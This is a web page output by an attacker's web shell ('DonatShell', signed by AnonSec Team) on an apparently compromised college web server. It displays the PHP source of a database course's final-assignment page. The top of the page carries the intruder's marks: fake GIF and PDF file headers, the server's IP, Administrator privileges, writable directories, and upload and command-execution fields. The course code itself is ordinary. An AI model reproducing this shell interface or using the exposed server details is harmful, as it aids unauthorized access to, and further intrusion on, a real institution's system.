GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2146/_Archive/Final/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2146/_Archive/Final/index.php
<?
// CST2146/Final/index.php
$TRACK = "<b>".basename(__FILE__)."</b> (".__FILE__.")\n<ol>\n";

if (strstr($_ENV['Path'],";")) { $s = ";"; } else { $s = ":"; } ini_set('include_path',"/Data_WWW/CST/$s".ini_get('include_path')); // ** Add the DOCUMENT_ROOT to the include_path.
include("Application.phpinc");
include('Course/courseInfo.phpinc');
include('../classInfo.phpinc');
$title = "Final";
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$thisFile = __FILE__; include('common/pageHeader.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; include('common/sectionHeader.phpinc');
$userArray = split(" ",$_SESSION['userFullName']);
$first = strtolower($userArray[0]);
$last = strtolower(substr($userArray[1],0,1));
$week = 0;
#http://cst.ridgewater.edu/JimMartinson/CST2146/Final/FormParser.php?studentFirstname=firstname&studentLastname=lastname
?>
<style type="text/css">
li {
	vertical-align:top;
}
.legend {
	color:#0080ff;
	font-size:larger;
}

</style>
<fieldset><legend>Final Assignment</legend>

	<ol type="I">
	<li> 
<? 
	$databasename = "CST2146_".$first."_".$last;
	if (strlen($databasename) <= 16) {
		$databasename2 = $databasename;
?>
		Design a database named <b><?=$databasename?></b>.
<?
	} else {
		$databasename2 = "db_".$first."_".$last;
		if (strlen($databasename2) >16) {
			$databasename2 = "db_".substr($first,0,strlen($first)+16-strlen($databasename2))."_".$last;
		}
?>
		Design a database named <b><?=$databasename2?></b>. The preferred name of <?=$databasename?> is too long, so use the shorter name <b><?=$databasename2?></b>.
<?
	}
?>
	</li>
	<li>
		Design a table to store product data from <a href="product-list-1.txt" target="_blank">product-list-1.txt</a>, <a href="product-list-2.txt" target="_blank">product-list-2.txt</a>, <a href="product-list-3.txt" target="_blank">product-list-3.txt</a>, <a href="product-list-4.txt" target="_blank">product-list-4.txt</a>, <a href="product-list-5.txt" target="_blank">product-list-5.txt</a>, and <a href="product-list-6.txt" target="_blank">product-list-6.txt</a>.
		<br>
		The data above was generated from the following web pages and the product links found on them: <a href="http://www.stacksandstacks.com/html/product-list-1.htm" target="_blank">Product List 1</a>, <a href="http://www.stacksandstacks.com/html/product-list-2.htm" target="_blank">Product List 2</a>, <a href="http://www.stacksandstacks.com/html/product-list-3.htm" target="_blank">Product List 3</a>, <a href="http://www.stacksandstacks.com/html/product-list-4.htm" target="_blank">Product List 4</a>, <a href="http://www.stacksandstacks.com/html/product-list-5.htm" target="_blank">Product List 5</a>, and <a href="http://www.stacksandstacks.com/html/product-list-6.htm" target="_blank">Product List 6</a>.
		<br>
		The data in these text files is in a standard format (a tab delimited file).
		<br>
		If you load <a href="LongShort.php" target="_blank">LongShort.php</a> you will see a smallest-largest analysis of the data.
		<br>
		If you load <a href="ParseWebsite.php" target="_blank">ParseWebsite.php</a> you will see the first 25 data items.
		<br>
		Populate your table with this data.
		The program to do the import is <b>InsertData.php</b>. 
		<br>
		Download <a href="InsertData.txt"><b>InsertData.txt</b></a> and save it as <b>InsertData.php</b> (note the .php extension) into the same folder as the <b>product-list-X.txt</b> data files you downloaded.
		<br>
		Before running <b>InsertData.php</b> you will need to edit it and set the following values:
		<ol type="a">
			<li>Setup your database information:
			<ol type="i">
				<li>Change $hostname on line 11 to your hostname if it is not <b>localhost</b>.</li>
				<li>Set $database on line 12 to the name of your database.</li>
				<li>Set $username on line 13 to the name of your database user.</li>
				<li>Set $password on line 14 to the password of your database user.</li>
			</ol>
			</li>
			<li>Setup your table name:
			<ol type="i">
				<li>Set $dataTable on line 17 to the name of your table.</li>
			</ol>
			</li>
			<li>Setup the field names for your table:
			<ol type="i">
				<li>Set $fieldArray[0] on line 22 to the name of your first field.</li>
				<li>Set $fieldArray[1] on line 23 to the name of your second field.</li>
				<li>Set $fieldArray[2] on line 24 to the name of your third field.</li>
				<li>Set $fieldArray[2] on line 25 to the name of your fourth field.</li>
				<li>Set $fieldArray[4] on line 26 to the name of your fifth field.</li>
				<li>Set $fieldArray[5] on line 27 to the name of your sixth field.</li>
				<li>Set $fieldArray[6] on line 28 to the name of your seventh field.</li>
				<li>Set $fieldArray[7] on line 29 to the name of your eighth field.</li>
				<li>Set $fieldArray[8] on line 30 to the name of your ninth field.</li>
				<li>Set $fieldArray[9] on line 31 to the name of your tenth field.</li>
				<li>Set $fieldArray[10] on line 32 to the name of your eleventh field.</li>
				<li>Set $fieldArray[11] on line 33 to the name of your twelfth field.</li>
				<li>Set $fieldArray[12] on line 34 to the name of your thirteenth field.</li>
			</ol>
			</li>
		</ol>
		<b>Backup your database BEFORE running InsertData.php!</b> That way if there is an error you can "restore" your database, fix the errors, and try again.
		<br>
		To import the data, either load <b>InsertData.php</b> from a browser or run it from the command line.
		<br>
		Note: To execute a .php file from the command line:
			<ol title="a">
				<li>Open a command line window.</li>
				<li>Change to the same directory as your php file.</li>
				<li>Type in <b>php <i>filename</i></b> where <i>filename</i> is the name of the .php file you wish to execute.</li>
			</ol> 
	</li>

	<li>
		Design tables to store order information.
		<br>
		You must identify the data that should be kept and then design the tables to store the order data.
		<br>
		Populate the order data tables with two records of pseudo-data.
		<br>
		I come up with over 20 fields in two tables.
		(excluding customer and item data other than Ids)
	</li>

	<li>
		Design a database to store customer data.
		<br>
		You must identify the data that should be kept and then design the tables to store the customer data.
		<br>
		Populate the customer data tables with two records of pseudo-data.
		<br>
		I came up with over 15 fields in one table.
		(excluding order history)
	</li>

	<li>
		Backup your <b><?=$databasename2?></b> database.
		<br>
		Send me an email with a subject of <b>CST2146 final submission</b> and your <b><?=$databasename2?>.sql</b> backup file attached.
		<br>
		This final is due by Friday, December 21st at noon.
	</li>
</ol>

</fieldset>

<?
$thisFile = __FILE__; include('common/sectionFooter.phpinc');
//$debugOn = true;
$thisFile = __FILE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol></li>\n";

?>

Anon7 - 2022
AnonSec Team